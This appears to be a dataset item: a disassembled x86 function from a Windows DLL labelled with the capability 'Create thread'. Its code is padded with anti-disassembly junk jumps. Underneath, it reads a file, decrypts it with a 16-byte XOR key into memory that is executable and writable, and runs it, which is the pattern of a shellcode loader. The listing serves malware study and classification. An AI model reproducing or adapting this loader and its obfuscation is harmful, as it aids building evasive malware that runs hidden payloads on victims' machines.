Function at 0x1000100b
Capabilities:
Create thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x1d4
jo 0x1000101a
jno 0x1000101a
call 0x11751392
je 0x1000101f
jne 0x1000101f
call 0x106a108d
push 0
push 0
push 0x109a0
push 0x100044b0
push 0
push 0
call sub.KERNEL32.dll_CreateThread
test eax, eax
jg 0x1000103d
jle 0x1000103d
call 0xd6896fb5
je 0x1000109e
mov esi, eax
jp 0x10001046
jnp 0x10001046
call 0x117013bb
jno 0x1000104b
jo 0x1000104b
call 0x10fdf8b7
add byte [eax - 0x18], dl
insb byte es:[edi], dx
xor al, 0
add byte [0x102], bh
push 0xfde8
push eax
call 0x100044c2
cmp eax, 0x102
je 0x10001060
jne 0x10001060
call 0xf3171d9
jne 0x100010c3
xor edi, edi
jl 0x10001069
jge 0x10001069
call 0x117213e0
jae 0x1000106e
jb 0x1000106e
call 0x117813eb
jns 0x10001073
js 0x10001073
call 0x117313e9
jb 0x10001078
jae 0x10001078
call 0xf85610e6
inc edx
xor al, 0
add byte [0x102], bh
push 0
push esi
call 0x100044c2
cmp eax, 0x102
jl 0x1000108a
jge 0x1000108a
call 0x13702a03
jne 0x100010a5
jo 0x10001091
jno 0x10001091
call 0x117a1410
jnp 0x10001096
jp 0x10001096
call 0x810380e1
add eax, ebp
inc edi
jo 0x1000109c
jno 0x1000109c
call 0x1377e68b
jmp 0x10001073
ja 0x100010a3
jbe 0x100010a3
call 0xf813492
add byte [eax + 2], ah
add byte [edx + 3], dh
jmp 0x100010c8
cmp edi, 0x26000
jb 0x100010b0
jae 0x100010b0
call 0x11731426
jb 0x100010b5
jae 0x100010b5
call 0x1177142f
jbe 0x100010ba
ja 0x100010ba
call 0x137d2b31
jae 0x100010d6
jge 0x100010c1
jl 0x100010c1
call 0x137816b0
jmp 0x100010c8
js 0x100010c8
jns 0x100010c8
call 0x9140d0fd
invalid
xor eax, eax
inc eax
add esp, 0x1d4
pop esi
pop edi
pop ebx
pop ebp
ret
mov edi, 0x104
lea esi, [esp + 0xd0]
jnp 0x100010e7
jp 0x100010e7
call 0x117c1468
jge 0x100010ec
jl 0x100010ec
call 0x11791468
js 0x100010f1
jns 0x100010f1
call 0x1179146d
js 0x100010f6
jns 0x100010f6
call 0x11771470
jbe 0x100010fb
ja 0x100010fb
call 0x11701470
jno 0x10001100
jo 0x10001100
call 0x66007b5b
push edi
push 0
push esi
call fcn.1000444c
add esp, 0xc
jo 0x10001111
jno 0x10001111
call 0x11721488
jae 0x10001116
jb 0x10001116
call 0x106a6771
push edi
push esi
push 0
call sub.KERNEL32.dll_GetModuleFileNameA
test eax, eax
jb 0x10001126
jae 0x10001126
call 0xd189669e
je 0x1000117d
mov ecx, eax
xor edx, edx
lea edi, [esp + 0xcf]
jbe 0x10001138
ja 0x10001138
call 0x117b14b6
jp 0x1000113d
jnp 0x1000113d
call 0x117b14bb
jp 0x10001142
jnp 0x10001142
call 0x117a14c1
jnp 0x10001147
jp 0x10001147
call 0x117f14c9
jle 0x1000114c
jg 0x1000114c
call 0x137ce189
cmp eax, edx
jl 0x10001153
jge 0x10001153
call 0x117a14d2
jnp 0x10001158
jp 0x10001158
call 0x117314ce
jb 0x1000115d
jae 0x1000115d
call 0x4c8036d5
subps xmm7, xmmword [esi + 3]
je 0x10001184
cmp byte [edi + ecx], 0x5c
jle 0x10001168
jg 0x10001168
call 0x137632e0
je 0x1000118b
jbe 0x1000116f
ja 0x1000116f
call 0x117814ec
jns 0x10001174
js 0x10001174
call 0x117014e9
jno 0x10001179
jo 0x10001179
call 0xdfeb60bf
inc edx
dec edi
jmp 0x1000114c
jle 0x10001182
jg 0x10001182
call 0x13792c71
jmp 0x1000119e
jns 0x10001189
js 0x10001189
call 0x13771778
jmp 0x10001190
ja 0x10001190
jbe 0x10001190
call 0x137ee1bd
sub eax, edx
jle 0x10001197
jg 0x10001197
call 0x137b1f10
jne 0x100011a6
jnp 0x1000119e
jp 0x1000119e
call 0xf958140c
and eax, 0x83ffffff
clc
add dword [edi + 0x6c6c6a62], edi
push 2
pop eax
jmp 0x100010cb
cmp eax, 1
mov edi, 0x6c6c6a62
jb 0x100011b3
jae 0x100011b3
call 0x1174152c
jne 0x100011b8
je 0x100011b8
call 0x11761533
ja 0x100011bd
jbe 0x100011bd
call 0x117d153d
jl 0x100011c2
jge 0x100011c2
call 0x9d00e249
test byte [eax + edx*8], al
add byte [eax], al
add byte [ebx + 0x37701ea], al
adc eax, 0
lea eax, [esp + eax + 0xd0]
sub edx, 1
ja 0x100011d4
jbe 0x100011d4
call 0x117c1555
jge 0x100011d9
jl 0x100011d9
call 0x137a404f
jb 0x10001209
jp 0x100011e0
jnp 0x100011e0
call 0x7b18c7f3
call [edi]
movzx ebx, byte [eax]
imul edi, edi, 0x1f
jbe 0x100011eb
ja 0x100011eb
call 0x11741564
jne 0x100011f0
je 0x100011f0
call 0x117e1573
jg 0x100011f5
jle 0x100011f5
call 0x117b1573
jp 0x100011fa
jnp 0x100011fa
call 0x11771574
jbe 0x100011ff
ja 0x100011ff
call 0x30cb9543
inc eax
or ebx, 0x20
add ebx, edi
mov edi, ebx
jmp 0x100011cc
cmp edi, 0x7fbfd1d
jno 0x10001214
jo 0x10001214
call 0x11701589
jno 0x10001219
jo 0x10001219
call 0x11771593
jbe 0x1000121e
ja 0x1000121e
call 0x13727697
jne 0x10001284
jb 0x10001225
jae 0x10001225
call 0x1177159f
jbe 0x1000122a
ja 0x1000122a
call 0xdc0c96f4
add byte [eax], al
add byte [eax], al
mov byte [esp + ecx + 0xcc], 0
jb 0x10001237
jae 0x10001237
call 0x106a12a5
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push esi
call sub.KERNEL32.dll_CreateFileA
cmp eax, 0xffffffff
jns 0x10001254
js 0x10001254
call 0xd6894ccc
je 0x10001290
mov esi, eax
jb 0x1000125d
jae 0x1000125d
call 0x117c15de
jge 0x10001262
jl 0x10001262
call 0xf85012d0
xor al, byte cs:[eax]
add byte [ebx + 0x448910f8], al
and al, 4
push 0
push eax
call 0x10004498
cmp eax, 0x10
mov dword [esp + 4], eax
ja 0x10001276
jbe 0x10001276
call 0x137736f1
ja 0x1000129c
ja 0x1000127d
jbe 0x1000127d
call 0x2ce917eb
invalid
push 5
jmp 0x100011a0
jle 0x10001289
jg 0x10001289
call 0x20e915f7
invalid
push 3
jmp 0x100011a0
jns 0x10001295
js 0x10001295
call 0x14e91703
invalid
push 4
jmp 0x100011a0
mov edi, eax
jbe 0x100012a3
ja 0x100012a3
call 0x11781620
jns 0x100012a8
js 0x100012a8
call 0x28245739
lea eax, [esp + 0x18]
push 0xb8
push 0x1000500c
push eax
call fcn.10004467
add esp, 0xc
je 0x100012c4
jne 0x100012c4
call 0x1177163e
jbe 0x100012c9
ja 0x100012c9
call 0x11781646
jns 0x100012ce
js 0x100012ce
call 0x117d164e
jl 0x100012d3
jge 0x100012d3
call 0x11711647
jo 0x100012d8
jno 0x100012d8
call 0x117b1656
jp 0x100012dd
jnp 0x100012dd
call 0x117c165e
jge 0x100012e2
jl 0x100012e2
call 0x117c1663
jge 0x100012e7
jl 0x100012e7
call 0xf424bf76
add dword [eax], eax
add byte [ebp - 0x76efdba4], cl
cli
mov ebp, dword [esp + 0x1e4]
lea ebx, [esp + 0x10]
mov edx, edi
jb 0x100012f9
jae 0x100012f9
call 0x1171166d
jo 0x100012fe
jno 0x100012fe
call 0x11711672
jo 0x10001303
jno 0x10001303
call 0x117f1685
jle 0x10001308
jg 0x10001308
call 0x68e8ec95
and eax, 0x83660000
jnp 0x10001317
mov ecx, ebx
call fcn.10003867
cmp word [ebx + 4], 0
jle 0x10001319
add byte [esi + 3], bh
jg 0x10001319
add eax, ebp
call 0xd0312291
je 0x1000132a
xor eax, eax
xor ecx, ecx
js 0x10001324
jns 0x10001324
call 0x10acfc69
add byte [eax], al
inc ecx
jmp 0x100013d6
jp 0x1000132f
jnp 0x1000132f
call 0x202467be
mov edx, dword [esp + 0x10]
jae 0x10001338
jb 0x10001338
call 0x117516b0
je 0x1000133d
jne 0x1000133d
call 0x117716b7
jbe 0x10001342
ja 0x10001342
call 0x117a16c1
jnp 0x10001347
jp 0x10001347
call 0x117416c0
jne 0x1000134c
je 0x1000134c
call 0x7b74e5d5
test edx, edx
je 0x100013bb
jns 0x10001355
js 0x10001355
call 0x117f16d7
jle 0x1000135a
jg 0x1000135a
call 0x117916d6
js 0x1000135f
jns 0x1000135f
call 0x117216d6
jae 0x10001364
jb 0x10001364
call 0x117b16e2
jp 0x10001369
jnp 0x10001369
call 0x117d16e9
jl 0x1000136e
jge 0x1000136e
call 0x117416e7
jne 0x10001373
je 0x10001373
call 0x117016e8
jno 0x10001378
jo 0x10001378
call 0x117516f0
je 0x1000137d
jne 0x1000137d
call 0x117916f9
js 0x10001382
jns 0x10001382
call 0x117c1703
jge 0x10001387
jl 0x10001387
call 0x11771701
jbe 0x1000138c
ja 0x1000138c
call 0x117d170c
jl 0x10001391
jge 0x10001391
call 0x28246022
lea ecx, [esp + 0x18]
push ebp
push 0
call fcn.100017a9
pop ecx
pop edx
test eax, eax
jle 0x100013a6
jg 0x100013a6
call 0x137b331e
je 0x100013c7
jnp 0x100013ad
jp 0x100013ad
call 0x11701722
jno 0x100013b2
jo 0x100013b2
call 0x117a1731
jnp 0x100013b7
jp 0x100013b7
call 0x26ebdcec
xor ecx, ecx
jmp 0x100013d1
xor eax, eax
jp 0x100013c2
jnp 0x100013c2
call 0xfb48dcf7
or dh, byte [ecx]
sal byte [ecx], 0xc9
xor ecx, ecx
dec eax
jmp 0x100013d1
xor eax, eax
xor ecx, ecx
jne 0x100013d0
je 0x100013d0
call 0x88038d15
add eax, ebp
inc ecx
jns 0x100013d6
js 0x100013d6
call 0x89c99940
add edi, dword [eax + 1]
test cx, cx
jns 0x100013de
js 0x100013de
call 0xf2892956
je 0x100013f5
mov edx, esp
je 0x100013e7
jne 0x100013e7
call 0x1c245878
lea eax, [esp + 0xc]
mov word [edx], cx
jae 0x100013f3
jb 0x100013f3
call 0xf2892ee2
jmp 0x1000140f
mov edx, esp
jg 0x100013fc
jle 0x100013fc
call 0x20245889
mov dword [esp + 0x10], eax
lea eax, [esp + 0xc]
and word [edx], 0
mov dword [eax], edi
jg 0x1000140f
jle 0x1000140f
call 0x117c1790
jge 0x10001414
jl 0x10001414
call 0x103a977e
cmp word [edx], 0
jl 0x1000141d
jge 0x1000141d
call 0x13762095
je 0x1000142b
jbe 0x10001424
ja 0x10001424
call 0x85e91a92
std
invalid
push 6
jmp 0x100011a0
mov dword [esp + 8], ebp
mov ebp, dword [eax]
mov ebx, dword [ebx]
jge 0x10001438
jl 0x10001438
call 0x117c17b9
jge 0x1000143d
jl 0x1000143d
call 0x117b17bb
jp 0x10001442
jnp 0x10001442
call 0x117717bc
jbe 0x10001447
ja 0x10001447
call 0x142458d8
lea eax, [esp + 4]
push 0
push eax
push edi
push ebx
push esi
call sub.KERNEL32.dll_ReadFile
test eax, eax
jo 0x1000145d
jno 0x1000145d
call 0x10b69870
add byte [eax], al
je 0x10001519
jp 0x10001468
jnp 0x10001468
call 0x117a17e7
jnp 0x1000146d
jp 0x1000146d
call 0x142490fc
mov edi, dword [esp + 4]
jae 0x10001476
jb 0x10001476
call 0x106854e4
xor byte [eax], al
add byte [edi + 0x6a], dl
add al, ch
xor dword [eax], esi
add byte [eax], al
push 0x40
push 0x3000
push edi
push 0
call 0x100044b6
test eax, eax
jp 0x1000148c
jnp 0x1000148c
call 0x1093989f
add byte [eax], al
je 0x10001525
mov esi, eax
add edi, 0xfffffff0
xor eax, eax
ja 0x1000149e
jbe 0x1000149e
call 0x11701813
jno 0x100014a3
jo 0x100014a3
call 0x1172181a
jae 0x100014a8
jb 0x100014a8
call 0x1376dbe5
cmp edi, eax
jbe 0x100014af
ja 0x100014af
call 0x11731825
jb 0x100014b4
jae 0x100014b4
call 0xd1893b2c
je 0x100014dc
mov ecx, eax
jns 0x100014bd
js 0x100014bd
call 0x9a0ff644
or al, 0xb
and ecx, 0xf
mov cl, byte [ebx + ecx]
xor cl, byte [ebx + eax + 0x10]
mov byte [esi + eax], cl
jnp 0x100014cf
jp 0x100014cf
call 0x11771849
jbe 0x100014d4
ja 0x100014d4
call 0x88038e18
add eax, ebp
inc eax
jns 0x100014da
js 0x100014da
call 0xfd85e1c9
jmp 0x100014a8
test ebp, ebp
je 0x100014e3
jne 0x100014e3
call 0x1174185c
jne 0x100014e8
je 0x100014e8
call 0x11751860
je 0x100014ed
jne 0x100014ed
call 0x117d186d
jl 0x100014f2
jge 0x100014f2
call 0x1176186d
ja 0x100014f7
jbe 0x100014f7
call 0x117f1879
jle 0x100014fc
jg 0x100014fc
call 0x11711870
jo 0x10001501
jno 0x10001501
call 0x137e4379
je 0x10001531
jle 0x10001508
jg 0x10001508
call 0x117d1888
jl 0x1000150d
jge 0x1000150d
call 0x11761888
ja 0x10001512
jbe 0x10001512
call 0x1175188a
je 0x10001517
jne 0x10001517
call 0x13794406
jmp 0x10001547
jns 0x1000151e
js 0x1000151e
call 0x8be91c8c
cld
invalid
push 7
jmp 0x100011a0
jge 0x1000152a
jl 0x1000152a
call 0x7fe91d98
cld
invalid
push 8
jmp 0x100011a0
jno 0x10001536
jo 0x10001536
call 0x117d18b6
jl 0x1000153b
jge 0x1000153b
call 0x117018b0
jno 0x10001540
jo 0x10001540
call 0xbabc0275
stosb byte es:[edi], al
stosb byte es:[edi], al
stosb byte es:[edi], al
xor ebp, ebp
mov ebx, 0xaaaaaaaa
test ebp, ebp
jae 0x1000154e
jb 0x1000154e
call 0x137254c6
je 0x1000158f
jb 0x10001555
jae 0x10001555
call 0x117118c9
jo 0x1000155a
jno 0x1000155a
call 0x117718d4
jbe 0x1000155f
ja 0x1000155f
call 0x117e18e2
jg 0x10001564
jle 0x10001564
call 0x117518dc
je 0x10001569
jne 0x10001569
call 0x117318df
jb 0x1000156e
jae 0x1000156e
call 0x117818eb
jns 0x10001573
js 0x10001573
call 0x117318e9
jb 0x10001578
jae 0x10001578
call 0x28246209
lea ecx, [esp + 0x18]
mov edx, ebx
push dword [esp + 8]
push 0
push ebp
call fcn.10002ac8
add esp, 0xc
jmp 0x10001594
jns 0x10001594
js 0x10001594
call 0x117a1913
jnp 0x10001599
jp 0x10001599
call 0x3be9ec9c
sti
invalid
call esi
jmp 0x100010cb